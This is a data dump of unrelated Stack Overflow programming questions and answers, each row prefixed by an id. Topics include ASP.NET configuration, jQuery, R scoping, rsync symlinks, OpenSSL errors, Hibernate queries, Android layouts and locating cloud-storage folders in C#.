href="http://radblast.wunderground.com/cgi-bin/radar/WUNIDS_composite?maxlat=34.96496076302826&amp;maxlon=-89.51954101562501&amp;minlat=29.38958076527275&amp;minlon=-98.30860351562501&amp;type=00Q&amp;frame=0&amp;num=7&amp;delay=25&amp;width=800&amp;height=600&amp;png=0&amp;smooth=1&amp;min=0&amp;noclutter=1&amp;rainsnow=1&amp;nodebug=0&amp;theext=.gif&amp;merge=elev&amp;reproj.automerc=1&amp;timelabel=1&amp;timelabel.x=200&amp;timelabel.y=12&amp;brand=wundermap&amp;rand=4564" rel="nofollow">http://radblast.wunderground.com/cgi-bin/radar/WUNIDS_composite?maxlat=34.96496076302826&amp;maxlon=-89.51954101562501&amp;minlat=29.38958076527275&amp;minlon=-98.30860351562501&amp;type=00Q&amp;frame=0&amp;num=7&amp;delay=25&amp;width=800&amp;height=600&amp;png=0&amp;smooth=1&amp;min=0&amp;noclutter=1&amp;rainsnow=1&amp;nodebug=0&amp;theext=.gif&amp;merge=elev&amp;reproj.automerc=1&amp;timelabel=1&amp;timelabel.x=200&amp;timelabel.y=12&amp;brand=wundermap&amp;rand=4564</a></p>
4730448	0	 <p>I'm not sure php is the right tool here. Why not use something that is closer to the shell environment, like a bash script?</p> <p>The only reason I can imagine you want to use PHP is so you can start the process by clicking a link on a page somewhere, and thereby punch a large hole in whatever security your system supposedly has. But if you really must, then it is still easier to write a script in a more shell friendly language and simply use php as a gateway to invoke the script.</p>
7819402	0	How to open a config file app settings using ConfigurationManager? <p>My config file is located here:</p> <pre><code>"~/Admin/Web.config" </code></pre> <p>I tried opening it via the below code but it didn't work:</p> <pre><code>var physicalFilePath = HttpContext.Current.Server.MapPath("~/Admin/Web.config"); var configMap = new ConfigurationFileMap(physicalFilePath); var configuration = ConfigurationManager.OpenMappedMachineConfiguration(configMap); var appSettingsSection = (AppSettingsSection)configuration.GetSection("appSettings"); </code></pre> <p>when appsettings line runs, it throws the below error message:</p> <pre><code>Unable to cast object of type 'System.Configuration.DefaultSection' to type 'System.Configuration.AppSettingsSection'. </code></pre> <p>My Web.Config looks like below:</p> <pre><code>&lt;?xml version="1.0"?&gt; &lt;configuration xmlns="http://schemas.microsoft.com/.NetConfiguration/v2.0"&gt; &lt;appSettings&gt; &lt;add key="AdminUsername" value="Test1"/&gt; &lt;add key="AdminPassword" value="Test2"/&gt; &lt;/appSettings&gt; &lt;connectionStrings&gt;&lt;/connectionStrings&gt; &lt;/configuration&gt; </code></pre> <p>How could I get the appsettings?</p>
39507229	0	Forms authentication for Web API invalidated by external assembly? <p>We have a site that uses Forms-authentication through a custom MembershipProvider and Web API that we're now having an unexpected problem with. </p> <p>The site uses EPiServer CMS, but I think the problem is general enough that the question can probably be answered without any knowledge of EPiServer. </p> <p>The problem started when we upgraded EPiServer to the latest version - this also gave us a new assembly for their Service API which basically is a REST API for integrating with their CMS that is setup on a specific route on the site automatically - just by including the assembly in the bin-folder. </p> <p>This new version of their Service API uses OWIN and configures their API to use Bearer-authentication and as far as I can understand also ClaimsIdentity, which would be fine except this suddenly also applies to <em>our</em> implementation of Web API, causing the HttpContext.Current.User to be a ClaimsIdentiy that's not authenticated. Removing the Service API-assembly makes it a FormsIdentity again. </p> <p>The Forms-authentication continues to work fine on the website itself, it is just the WebAPI that is affected by this. </p> <p>So we're looking for a way to fix this, any ideas would be greatly appreciated!</p>
12091584	0	 <p>I think a good start is to check the TTS engine on Android: <a href="http://developer.android.com/reference/android/speech/tts/TextToSpeech.html" rel="nofollow">http://developer.android.com/reference/android/speech/tts/TextToSpeech.html</a></p> <p>From my point of view, Android is one of the most open mobile platform. So I'm pretty sure your idea is possible to realise on this system !</p> <p>Good luck for your project.</p>
21370509	0	 <p>As @user3237539 pointed out, your jQuery selectors must begin with '#'. Your code should look like this:</p> <pre><code>&lt;script type="text/javascript"&gt; function opt_onchange() { if (document.getElementById("opt").value == "") { document.getElementById("submit").style.visibility = "hidden"; } else { document.getElementById("submit").style.visibility = "visible"; } if (document.getElementById("opt").value == "banscan") { $("#form_username").fadeOut(); $("#form_password").fadeOut(); } else { $("#form_username").fadeIn(); $("#form_password").fadeIn(); } } &lt;/script&gt; </code></pre> <p>Hope that helps!</p> <p>PS: Whenever you use <code>document.getElementById()</code> you could instead use <code>$("#id")</code> to be able to use more of jQuery's helpful functions. You could replace <code>document.getElementById("submit").style.visibility = "hidden";</code> with <code>$("#submit).hide();</code></p>
7051243	0	 <p>This will work in quirks mode, but the browser which is compatible with standard mode will not work depend upon your doctype. Avoiding quirks mode is one of the keys to successfully producing cross-browser compatible web content</p> <p>Some modern browsers have two rendering modes. Quirk mode renders an HTML document like older browsers used to do it, e.g. Netscape 4, Internet Explorer 4 and 5. Standard mode renders a page according to W3C recommendations. Depending on the document type declaration present in the HTML document, the browser will switch into either quirk mode or standard mode. If there is no document type declaration present, the browser will switch into quirk mode.</p> <p><a href="http://www.w3.org/TR/REC-html32#dtd" rel="nofollow">http://www.w3.org/TR/REC-html32#dtd</a></p> <p>JavaScript should not behave differently; however, the DOM objects that JavaScript operates on may have different behaviors.</p>
22508449	0	 <p>I think you are trying to assign the various objects to the top level environment. Functions have their own environments, so assignments there exist only during the evaluation of the functions (which is why you can see the objects when <code>debug</code>ging). As soon as you your function returns, the objects in the body of the function cease to exist.</p> <p>In order to work around that, you can use <code>&lt;&lt;-</code> (i.e. <code>Butterfly_data &lt;&lt;- read.csv(...)</code>), as well as anytime you modify those objects within the function.</p> <p>Please keep in mind that <code>&lt;&lt;-</code> use is generally discouraged, and there is almost always a better way to do something than using <code>&lt;&lt;-</code>.</p> <p>For example, in this case, you could have returned a list with all your objects, and written a separate function that runs through the lists and produces the heads:</p> <pre><code>Extremes &lt;- function(siteno) { # bunch of stuff return(list(Precip=Precip, Tmax=Tmax, Tmin=Tmin)) } data.list &lt;- Extremes("mysiteno") lapply(data.list, head) # view the heads list2env(data.list) # if you really want objects available at top level directly </code></pre>
37803892	0	 <pre><code>The API is // Hopefully your alarm will have a lower frequency than this! alarmMgr.setInexactRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, AlarmManager.INTERVAL_HALF_HOUR, AlarmManager.INTERVAL_HALF_HOUR, alarmIntent); Details : https://developer.android.com/training/scheduling/alarms.html </code></pre>
24093379	0	 <p>Specific different folders for all paths in all installations and it should work.</p> <p>For example \Delphi XE1 \Delphi XE2</p> <p>or simply use Rad Studio 14.0\ and so forth.</p> <p>Just make sure common files and documents and stuff like that goes into Rad Studio 14.0 as well.</p> <p>So have one main folder for each delphi version and make sure the installer installs everything into that main version folder.</p>
38173394	0	 <p>For c++98:</p> <p>One way to achieve what you want of requiring an exact match is to have a template method which accepts any type but always fails due to SFINAE:</p> <pre><code> template&lt;typename U&gt; U isFoo(U variable) { typename CheckValidity::InvalidType x; } </code></pre> <p>For c++11:</p> <p>You can use a deleted method to achieve the same effect more cleanly:</p> <pre><code> template&lt;typename U&gt; U isFoo(U variable) = delete; </code></pre>
28582879	0	 <p>instead of </p> <pre><code>statement.executeQuery(stmtSelectObjKey); </code></pre> <p>use</p> <pre><code>statement.executeQuery(); </code></pre> <p>it will work !!</p>
7177618	0	 <p>You can use <code>remove_instance_variable</code>. However, since it's a private method, you'll need to reopen your class and add a new method to do this:</p> <pre><code>class World def remove_country remove_instance_variable(:@country) end end </code></pre> <p>Then you can do this:</p> <pre><code>country_array.each { |item| item.remove_country } # =&gt; [#&lt;World:0x7f5e41e07d00 @country="Spain"&gt;, #&lt;World:0x7f5e41e01450 @country="India"&gt;, #&lt;World:0x7f5e41df5100 @country="Argentina"&gt;, #&lt;World:0x7f5e41dedd10 @country="Japan"&gt;] </code></pre>
16874029	0	 <p>For Python 3</p> <pre><code>positionNewD = {k: (x, -y) for k, (x, y) in positionD.items()} </code></pre> <p>... as iteritems() has been renamed items()</p> <p><a href="http://docs.python.org/3.1/whatsnew/3.0.html#views-and-iterators-instead-of-lists" rel="nofollow">http://docs.python.org/3.1/whatsnew/3.0.html#views-and-iterators-instead-of-lists</a></p>
32257910	0	 <p>You are actually just in luck. Android just released a new percent support library. They don't have documentation yet, but here is a good sample project that you can use to see how to go about using the library. It basically allows you to size view widgets by percentage of the screen.</p> <p><a href="https://github.com/JulienGenoud/android-percent-support-lib-sample" rel="nofollow">https://github.com/JulienGenoud/android-percent-support-lib-sample</a></p> <p>And here are two articles talking about it as well:</p> <p><a href="http://www.androidauthority.com/using-the-android-percent-support-library-630715/" rel="nofollow">http://www.androidauthority.com/using-the-android-percent-support-library-630715/</a></p> <p><a href="http://inthecheesefactory.com/blog/know-percent-support-library/en" rel="nofollow">http://inthecheesefactory.com/blog/know-percent-support-library/en</a></p>
33757717	0	 <p>It's just wrong call parametters.</p> <p>If you want to change your code, this solution can help you.</p> <p>Class GUI just inherits from Canvas and doesn't implement anything.</p> <pre><code>from Tkinter import* root = Tk() class GUI(Canvas): '''inherits Canvas class (all Canvas methodes, attributes will be accessible) You can add your customized methods here. ''' def __init__(self,master,*args,**kwargs): Canvas.__init__(self, master=master, *args, **kwargs) polygon = GUI(root) polygon.create_polygon([150,75,225,0,300,75,225,150], outline='gray', fill='gray', width=2) polygon.pack() root.mainloop() </code></pre> <p>For more help add comments.</p>
10247524	0	 <p>By count each color pixels you get the area, if you already label your data as following:</p> <pre><code>data = np.array([[0,0,1,1,1], [2,2,1,1,1], [2,3,3,3,3], [2,4,4,3,3]]) </code></pre> <p>than you can use numpy.bincount() to count each label:</p> <pre><code>print numpy.bincount(data.ravel()) </code></pre> <p>the output is :</p> <pre><code>array([2, 6, 4, 6, 2]) </code></pre> <p>which means there are two 0, six 1, four 2, six 3, and two 4.</p>
24390135	0	 <p>EDIT: I resolved following the Google Note. LOL</p> <blockquote> <p>Note: If you are debugging your game using your debug certificate but have configured game services using your release certificate, you should add a second linked app using the same package name and your debug certificate's SHA1 fingerprint. This will allow you to sign in to the application whether it's signed with the debug or release certificates.</p> </blockquote> <p><a href="https://developers.google.com/games/services/android/troubleshooting#check_the_certificate_fingerprint">Google Services Developers Link</a></p> <p>"a second linked app" is the key point, not two game, but two linked app in the same game</p> <p>So, the right method is to link two time the same app in the Google Play Developer Console:</p> <ul> <li><p>First app with bundle com.name.appname and release fingerprint</p></li> <li><p>And a second app, with the same bundle and another name (es. AppName Test User1) and with debug fingerprint</p></li> </ul> <p>In this way, in the Api Developer Console, it creates two OAuth2 client ID for the same project and both work well.</p> <p>NOTE: If you have done many tests, remember to delete all app in the play games section of Google Play Developer Console, and all projects in the Api Developer Console.</p>
31761192	0	 <p>You could use programmatic transaction manager <a href="http://www.mkyong.com/hibernate/hibernate-transaction-handle-example/" rel="nofollow">see here</a></p>
32404679	0	 <p>To: Mr. leigero and Mr. moskito-x</p> <p>From: Mary T.</p> <p>Date: Sept. 4, 2015</p> <p>Re: My question appears to have been answered...</p> <ul> <li><p>Your suggestions that I 'clear out the browser' cache appears to have worked (actually, it has in fact worked when I subsequently had the problem described, 'clearing the cache' rectified the problem). I've had to use this 'cache clearing' solution two (2) or three (3) times already and it in fact 'worked'!</p></li> <li><p>To be absolutely thorough, I say 'appears' immediately above because this problem, as stated, has been and is intermittent. I'm just covering my bases. Albeit, I do believe 'clearing the cache' is the answer to this problem. </p></li> <li><p>Enough said... I thank you very much for your help to me. Very truly much appreciated!!!</p></li> <li><p>For others in the world, I note this web site: </p></li> </ul> <p><a href="https://kb.iu.edu/d/ahic#firefox" rel="nofollow">https://kb.iu.edu/d/ahic#firefox</a></p> <p>(Web page stated as: Indiana University Knowledge Base) on 'How do I clear my web browser's cache, cookies, and history?'</p> <ul> <li>Peace!!!...</li> </ul>
3967400	0	Create or manipulate EPS files using .NET <p>I have to create thousands of individual EPS (Encapsulated PostScript) files. These files will be printed by a company that uses a Roland printer and software. The printer software only accepts eps files.</p> <p>So this is the procedure I've implemented using a custom vector graphics library:</p> <ol> <li>Create an individual bitmap (this works)</li> <li>Draw a rectangle around the bitmap in a certain named color (the color must be named "CutContour" YMCK (0, 0.9, 0, 0). The color itself isn't important, but the name must be set to "CutContour".</li> <li>Save the graphics in the EPS format</li> </ol> <p>Now, using some custom library I was able to do all the steps I've described, but the library apparently doesn't support color names (spot colors?).</p> <p>Another strategy I tried in my desperation: I've created a working example file in EPS using CorelDraw (I even did it with Adobe Illustrator).</p> <p>Using a hex editor I extracted the first part of the file until the bitmap information and the bottom part after the bitmap. Using both parts I was able to "inject" the individual bitmap and created new "Frankenstein" eps files just by concatenating the parts.</p> <p>I could open these files in CorelDraw, but they must be somehow corrupt, because the company that prints the images can't open them on their machines. Also, I have some other issues with that files. I guess there is some binary information at the end of the file that's somehow related to the bitmap.</p> <ol> <li>Does anybody know some other library or clever way to get the desired result?</li> <li>Does anybody know who I could manipulate the created eps file in order to draw the rectangle using the "CutContour" color name? (It's not obvous looking at the file I've created using CorelDraw and AI)</li> </ol> <p><em>Thanks for reading!</em></p>
4794785	0	 <p>Take a look at <a href="http://www.eclipse.org/Xtext/" rel="nofollow">Xtext</a>. It's a framework on top of the eclipse platform that autogenerates much of the infrastructure (like syntax highlighting and autocomplete) from the language grammar - basically you get a pretty powerful editor in minutes rather than months of work.</p>
28022998	1	Finding sublists inside lists <p>I have a list that may or may not contain sublists as elements, and I need to check whether an element is or is not a sublist.</p> <p>For example consider</p> <pre><code>&gt;&gt;&gt; list = ['a', 'b', 'c', ['d', 'e'] ] </code></pre> <p>As I would expect, I get</p> <pre><code>&gt;&gt;&gt; list[2] 'c' &gt;&gt;&gt; list[3] ['d', 'e'] &gt;&gt;&gt; list[3][1] 'e' </code></pre> <p>and</p> <pre><code>&gt;&gt;&gt; len(list[1]) 1 &gt;&gt;&gt; len(list[3]) 2 </code></pre> <p>and also</p> <pre><code>&gt;&gt;&gt; type(list[1]) &lt;type 'str'&gt; &gt;&gt;&gt; type(list[3]) &lt;type 'list'&gt; </code></pre> <p>So far so good. However, quite surprisingly (at least for a python novice as I am)</p> <pre><code>&gt;&gt;&gt; type(list[1]) is list False &gt;&gt;&gt; type(list[3]) is list False </code></pre> <p>Could somebody explain this? Clearly I can just use <code>len()</code> to determine whether an element is a sublist, but I think the explicit type checking should be more appropriate, as it is a more precise statement of what I want to do. Thanks. </p>
2033822	0	 <p>You have to check everything is the same...</p> <ul> <li>Correct DB?</li> <li>Correct schema? (eg foo.MyTable and dbo.MyTable)</li> <li>Correct column order?</li> <li>Trigger?</li> <li>Concatenation or some processing?</li> <li>Same data being inserted?</li> </ul> <p>Edit: What was it of my list, out of interest please?</p>
15200384	0	Is it possible to backup with rsync, follow root symlink, but preserve the rest of the symlinks? <p>I'm setting up a backup using rsync. I'd like to specify the root source directory using a symlink that points to it, but for the rest of the archived tree, I'd like to preserve the symlinks. </p> <p>Further, I'd like to preserve the symlink name as the root in the backup archive.</p> <p>The reason for this setup (which may, or may not, be very smart) is that the source is a versioned app, where the version numbers will increase over time. I only want to backup the latest version and I want rsync to remove older files from the backup archive.</p> <p>Example source: </p> <pre><code>source_symlink -&gt; source-1.2.3 source-1.2.3/ file1.txt dirA/ fileA.txt symlink_fileA -&gt; dirA/fileA.txt </code></pre> <p>If I attempt to backup this with</p> <pre><code>rsync -av --delete source_symlink destination_dir </code></pre> <p>I simply get a copy of the symlink inside my destination; like this:</p> <pre><code>destination_dir/ source_symlink -&gt; source-1.2.3 </code></pre> <p>I.e. a symlink pointing to a non-existing directory. </p> <p>If I resolve the symlink myself, e.g. like this:</p> <pre><code>rsync -av --delete $(readlink -f source_symlink) destination_dir </code></pre> <p>I get the following:</p> <pre><code>destination_dir/ source-1.2.3/ file1.txt dirA/ fileA.txt symlink_fileA -&gt; dirA/fileA.txt </code></pre> <p>This is ok until I change the symlink to, for example the next version; e.g. <code>source_symlink -&gt; source-2.0.0</code>. In that case, I end up with duplicates in the archive:</p> <pre><code>destination_dir/ source-1.2.3/ source-2.0.0/ </code></pre> <p>What I'd like is that the root symlink is followed, but the rest of the symlinks are preserved. Further, I'd like to have the symlink name in destination directory. Like this:</p> <pre><code>destination_dir/ source/ file1.txt dirA/ fileA.txt symlink_fileA -&gt; dirA/fileA.txt </code></pre> <p>Is this possible to achieve?</p>
38744251	0	Openssl is not working, and directory /etc/ssl is missing <p>We are working on a red hat linux server, and we can apply <code>openssl version</code> and <code>openssl</code> will get you inside openssl shell-like <code>Openssl&gt;</code></p> <p>But there is no directory <code>/etc/ssl/</code> and we are getting the following failure when we try to connect:</p> <pre><code>[&lt;username&gt;@&lt;pc name&gt; etc]$ openssl s_client -port 31114 -host &lt;ipaddress&gt; -ssl3 -quiet -crlf 904:error:1409E0E5:SSL routines:SSL3_WRITE_BYTES:ssl handshake failure:s3_pkt.c:530: </code></pre> <p>It is not working, nothing is working in openssl on the server? what shall we do?</p> <p>we are sure that openssl is installed:</p> <pre><code>[root@&lt;pc name&gt; ~]# yum list |grep openssl This system is not registered with RHN. RHN support will be disabled. openssl.i686 0.9.8e-12.el5 installed openssl.x86_64 0.9.8e-12.el5 installed openssl-devel.i386 0.9.8e-12.el5 installed openssl-devel.x86_64 0.9.8e-12.el5 installed openssl097a.i386 0.9.7a-9.el5_2.1 installed openssl097a.x86_64 0.9.7a-9.el5_2.1 installed </code></pre> <p>Thank you in advance.</p>
15566748	0	 <p>You shouldn't use the <code>sf_upload_dir</code> key because it returns the full path to the image inside the webserver. Like: <code>c:\website\project\web\uploads</code>.</p> <p>You should use <code>sf_upload_dir_name</code> instead, which returns the path to the uploads folder <strong>inside</strong> the web folder.</p> <p>Try:</p> <pre><code>&lt;img src="/&lt;?php echo sfConfig::get('sf_upload_dir_name').'/'.$post-&gt;getImagename() ?&gt;" /&gt; </code></pre>
13118199	0	 <p>There are no direct way to get this. However there is a work around like this which will work in most of the cases. All you have to do is to add all the possible date formatter to the below <code>dateFormatterList</code>. </p> <pre><code>- (NSString *)dateStringFromString:(NSString *)sourceString destinationFormat:(NSString *)destinationFormat { NSString *convertedDateString = nil; NSArray *dateFormatterList = [NSArray arrayWithObjects:@"yyyy-MM-dd'T'HH:mm:ss'Z'", @"yyyy-MM-dd'T'HH:mm:ssZ", @"yyyy-MM-dd'T'HH:mm:ss", @"yyyy-MM-dd'T'HH:mm:ss.SSS'Z'", @"yyyy-MM-dd'T'HH:mm:ss.SSSZ", @"yyyy-MM-dd HH:mm:ss", @"MM/dd/yyyy HH:mm:ss", @"MM/dd/yyyy'T'HH:mm:ss.SSS'Z'", @"MM/dd/yyyy'T'HH:mm:ss.SSSZ", @"MM/dd/yyyy'T'HH:mm:ss.SSS", @"MM/dd/yyyy'T'HH:mm:ssZ", @"MM/dd/yyyy'T'HH:mm:ss", @"yyyy:MM:dd HH:mm:ss", @"yyyyMMdd", @"dd-MM-yyyy", @"dd/MM/yyyy", @"yyyy-MM-dd", @"yyyy/MM/dd", @"dd MMMM yyyy", @"MMddyyyy", @"MM/dd/yyyy", @"MM-dd-yyyy", @"d'st' MMMM yyyy", @"d'nd' MMMM yyyy", @"d'rd' MMMM yyyy", @"d'th' MMMM yyyy", @"d'st' MMM yyyy", @"d'nd' MMM yyyy", @"d'rd' MMM yyyy", @"d'th' MMM yyyy", @"d'st' MMMM", @"d'nd' MMMM", @"d'rd' MMMM", @"d'th' MMMM", @"d'st' MMM", @"d'nd' MMM", @"d'rd' MMM", @"d'th' MMM", @"MMMM, yyyy", @"MMMM yyyy", nil]; //sourceString = @"20/11/2012"; //destinationFormat = @"dd MMMM yyyy"; if (sourceString) { NSDateFormatter *dateFormatter = [[NSDateFormatter alloc] init]; for (NSString *dateFormatterString in dateFormatterList) { [dateFormatter setDateFormat:dateFormatterString]; NSDate *originalDate = [dateFormatter dateFromString:sourceString]; if (originalDate) { [dateFormatter setDateFormat:destinationFormat]; convertedDateString = [dateFormatter stringFromDate:originalDate]; NSLog(@"Converted date String is %@", convertedDateString); break; } } [dateFormatter release]; } return convertedDateString; } </code></pre> <p>Add this to your class and use it as,</p> <pre><code>NSLog(@"%@", [self dateStringFromString:@"2nd August 2012" destinationFormat:@"dd-MM-yyyy"]); </code></pre> <p>Output: <code>02-08-2012</code></p>
21972382	0	 <p>Obviously the answer is in your error. You didn't select any database. When using this function mysqli_connect specify the database you want to connect to.</p> <p>Here is the syntax of the function: <a href="http://www.w3schools.com/Php/func_mysqli_connect.asp" rel="nofollow">http://www.w3schools.com/Php/func_mysqli_connect.asp</a> .</p> <p>1) Create your database outside of your application</p> <p>2) Specify mysqli_connect with the database you want to select.</p> <p>You can also use another function called mysqli_select_db . You can find the sytanx here : <a href="http://www.w3schools.com/php/func_mysqli_select_db.asp" rel="nofollow">http://www.w3schools.com/php/func_mysqli_select_db.asp</a> .</p> <p>As already stated in the comment, you will also have to replace : "example.com" with your ip address, if you are running locally replace it with 127.0.0.1:3306 , if you didn't change the port when you installed your mysql database / "johndoe" with your database account, you can change that to "root" / "abc123" with your root account password DEFAULT : "" . </p> <p>Good luck !</p>
20674447	0	 <p>Calculating your angle using just x value seem strange, try this: </p> <pre><code>angle = Math.atan( (startY - endY) / (startX - endX) ); // in rad </code></pre> <p>This will give you the angle in radian.</p> <p>For calculating the velocity you must have a timing variable between the start and the end touch. You can use <code>getTimer()</code> to get <code>beginTime</code> and <code>endTime</code> in your functions <code>onTouchBegin</code> and <code>onTouchEnd</code> respectively. </p> <p>After that you just have to calculate velocity with distance and time.</p> <pre><code>distance = Math.sqrt( ((startX - endX)*(startX - endX)) / ((startY - endY)*(startY - endY)) ); velocity = distance / (endTime-beginTime); // in pixel/ms </code></pre> <p>Hope that helps ;)</p>
16733927	0	How to get the path to the skydrive folder in C# <p>I'm actually making a little application that can find on any computer the list of the different cloud storage installed and i wonder how i can get the path to the Skydrive folder in C#.</p> <p>I managed to get the path of dropbox and google drive with information stored in appdata/roaming folder but i don't manage to do the same thing with Skydrive.</p> <p>For dropbox:</p> <pre><code>string appDataPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); string dbPath = System.IO.Path.Combine(appDataPath, "Dropbox\\host.db"); string[] lines = System.IO.File.ReadAllLines(dbPath); byte[] dbBase64Text = Convert.FromBase64String(lines[1]); string folderPath = System.Text.ASCIIEncoding.ASCII.GetString(dbBase64Text); </code></pre> <p>For google drive :</p> <pre><code>String dbFilePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google\\Drive\\sync_config.db"); File.Copy(dbFilePath, "temp.db", true); String text = File.ReadAllText("temp.db", Encoding.ASCII); // The "29" refers to the end position of the keyword plus a few extra chars String trim = text.Substring(text.IndexOf("local_sync_root_pathvalue") + 29); // The "30" is the ASCII code for the record separator String drivePath = trim.Substring(0, trim.IndexOf(char.ConvertFromUtf32(30))); </code></pre> <p>If you want to get the path to the skydrive folder you need to use the Registery value at HKEY_CURRENT_USER\Software\Microsoft\SkyDrive, with the name UserFolder. Here is the code :</p> <pre><code>String SkyDriveFolder = Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\SkyDrive", "UserFolder",null).ToString(); </code></pre>
2705938	0	 <p>The bracket <code>[</code> is a <code>test</code> operator, which you can think of as an if statement. This is checking to see if the shell variable RABBITMQ_NODE_IP_ADDRESS is empty. Unfortunately, if you try to compare to an empty string <code>""</code>, the shell eliminates it before it does the test and your binary comparison operator only gets one (or maybe zero) operands. To prevent that error, it is a common practice to concatenate an "x" on each side of the <code>=</code>. Thus, instead of</p> <pre><code>[ "" = "&lt;variable&gt;" ] </code></pre> <p>becoming [ = value ] and yielding an error,</p> <pre><code>[ "X" = "X&lt;variable&gt;" ] </code></pre> <p>becomes [ X = Xvalue ]</p> <p>and the comparison may continue</p>
18286663	0	 <p>This is the string you are printing:</p> <pre><code>"&lt;td&gt; £ $first_number = {$row['bcosts']}; $second_number = {$row['rcosts']}; $third_number = {$row['value']}; $sum_total = $third_number - $second_number - $first_number; print ($sum_total); &lt;/td&gt; "; </code></pre> <p>The variables get replaced with their values:</p> <pre><code>"&lt;td&gt; £ = 100; = 25; = 300; = - - ; print (); &lt;/td&gt; "; </code></pre> <p>And the browser converts multiple whitespace characters into one space when displaying.</p> <p>You cannot calculate stuff during inside the string. This should fix it:</p> <pre><code>"&lt;td&gt; £"; $first_number = $row['bcosts']; $second_number = $row['rcosts']; $third_number = $row['value']; $sum_total = $third_number - $second_number - $first_number; print ($sum_total); echo "&lt;/td&gt; "; </code></pre>
1907218	0	 <p>You could do something like this:</p> <pre><code>public class MyString { public static implicit operator string(MyString ms) { return "ploeh"; } } </code></pre> <p>The following unit test succeeds:</p> <pre><code>[TestMethod] public void Test5() { MyString myString = new MyString(); string s = myString; Assert.AreEqual("ploeh", s); } </code></pre> <p>In general however, I don't think this is a sign of good API design, because I <strong>prefer explicitness instead of surprises</strong>... but then again, I don't know the context of the question...</p>
2401154	0	 <p>If you want the text of each cell to be captured as a singe space-separated string to populate your input, you can do this:</p> <pre><code>$(document).ready(function() { $('#table tr').click(function() { var $test = $(this).find('td').map(function() { return $(this).text(); }).get().join(" "); $('#input').val($test); }); }); </code></pre> <p>EDIT just call <a href="http://api.jquery.com/text/" rel="nofollow noreferrer"><code>text()</code></a>, e.g.:</p> <pre><code>var $field1 = $(this).find('td.field1').text(); </code></pre>
31652057	0	How to set true or false if there is no record in table using hibernate <p>I am using Spring REST with Hibernate and i am fetching a particular record from database table passing id into my method. The method is working properly but if there is no record in table then i want false in a variable and if record exist then i want true in the variable in my json object.</p> <p>Here is my Entity class <strong>Subscribe.java</strong></p> <pre><code>@Entity @Table(name="subscribe") @JsonIgnoreProperties({"hibernateLazyInitializer", "handler"}) public class Subscribe implements Serializable { private static final long serialVersionUID = 1L; @Id @GeneratedValue @Column(name="id") private long id; @Column(name="subscribed_id") private String subID; @Column(name="subscriber_id") private long subrID; public long getSubrID() { return subrID; } public void setSubrID(long subrID) { this.subrID = subrID; } public String getSubID() { return subID; } public void setSubID(String subID) { this.subID = subID; } public long getId() { return id; } public void setId(long id) { this.id = id; } } </code></pre> <p>Here is my <strong>DAO</strong> class</p> <pre><code>@SuppressWarnings({ "unchecked", "rawtypes" }) public List&lt;Subscribe&gt; getSubscribeById(long id) throws Exception { session = sessionFactory.openSession(); Criteria cr = session.createCriteria(Subscribe.class); cr.add(Restrictions.eq("subrID", id)); List results = cr.list(); tx = session.getTransaction(); session.beginTransaction(); tx.commit(); return results; } </code></pre> <p>And here is my <strong>Controller</strong></p> <pre><code> @RequestMapping(value = "/subscribe/{id}", method = RequestMethod.GET) public @ResponseBody List&lt;Subscribe&gt; getSubscriber(@PathVariable("id") long id) { List&lt;Subscribe&gt; sub = null; try { sub = profileService.getSubscribeById(id); } catch (Exception e) { e.printStackTrace(); } return sub; } </code></pre> <p>Please suggest me how can can i do this</p>
39397504	0	Angular2 replace attribute when value contains curly brackets <p>I'm checking the value of this attribute <code>dummy-data</code> but when the value contains curly brackets Angular2 is renaming the attribute </p> <p><a href="https://monosnap.com/file/qHi9G2XFS87J8qlmNNIG3HNP6AGaG8" rel="nofollow">In Editor</a></p> <p><code>&lt;c-heading-image dummy-data="images.{{content.image}}"&gt;&lt;/c-heading-image&gt;</code></p> <p><a href="https://monosnap.com/file/jUG63JLY0CLlvwmaVUEvE11iwCBuJH" rel="nofollow">In Browser</a></p> <p><code>&lt;c-heading-image ng-reflect-dummy-data="images.regular"&gt;&lt;/c-heading-image&gt;</code></p> <p>How can I prevent Angular2 from renaming the Attribute</p> <p>I'm using Ionic framework 2</p>
32688718	0	export yajra datatable all data to csv <p>I'm not able to find any solution for saving all the records to CSV using yajra datatables.</p> <p>Currently i'm getting paginated records that are displaying on current screen (10 records), what i need is all the records</p> <p>I'm using yajra datatables buttons extension.</p> <p>My current code is :</p> <pre><code> $('#export-table').DataTable({ dom: 'Bfrtip', processing: true, serverSide: true, responsive: true, autoWidth:false, aaSorting: [[6, 'desc']], ajax: '{!! route('export.data') !!}', aoColumns: [ {mData:'name', name: 'name'}, {mData:'address', name: 'address'}, {mData:'phone', name: 'phone'}, {mData:'cell_phone', name: 'cell_phone'}, {mData:'email', name: 'm.email'}, {mData:'company', name: 'company'}, {mData:'date_taken', name: 'date_taken'} ], buttons: ['csv'] }); </code></pre> <p>Need help to save all records to csv</p> <p><strong>UPDATE</strong></p> <p>I'm using yajra datatables plugin with laravel 5.0</p>
32388830	0	Assigning different weights to different users' sentiment and displaying in geospatial analysis in Python and ArcGIS <p>I have the following data:</p> <pre><code>PERSON POWER_USER DATE TIME SENTIMENT LOCATION WEIGHT Person A Yes 3/5/2015 12:00 0.8 LA 1.5 Person A Yes 3/5/2015 12:01 0.7 LA 1.5 Person B No 3/5/2015 14:00 -0.5 LA 1 Person B No 3/5/2015 15:00 0.1 LA 1 Person A Yes 3/5/2015 16:00 0.4 LA 1.5 Person D Yes 3/5/2015 17:00 -0.1 WA 1.5 </code></pre> <p>I would like to compute an "average" sentiment score by location. But for power-user I would like to assign, say, 1.5x the weight for their sentiment since they are more influential. How can I do that with ArcGIS, Arcpy, or any geospatial analysis tool?</p> <p>NOTE: I do know how to do this without the weight consideration in Arcgis.</p>
26989491	0	 <p>You have some bugs in your getMessages function in the while loop:<br/> 1. use <code>count += len(rs)</code><br/> 2. The major bug: you don't need the </p> <pre><code>or len(rs) &lt; 10 </code></pre> <p>condition because SQS can get up to 10 messages and if your queue is full and each time you get 10 messages you'll have an infinite loop.</p> <p>Also I think you should consider using <code>yield</code> statement to return the messages, process them and after they are processed, only then , remove them from Queue.</p> <p>One more thing, the pythonic way to check <code>if len(rs) &lt; 1:</code> is <code>if not rs:</code></p>
9327995	0	 <p><a href="http://stackoverflow.com/questions/6682031/net-moles-stub-fallthrough-behaviour">This post</a> gives the answer:</p> <pre><code>MolesContext.ExecuteWithoutMoles(() =&gt; instance.Country_Id = id); </code></pre>
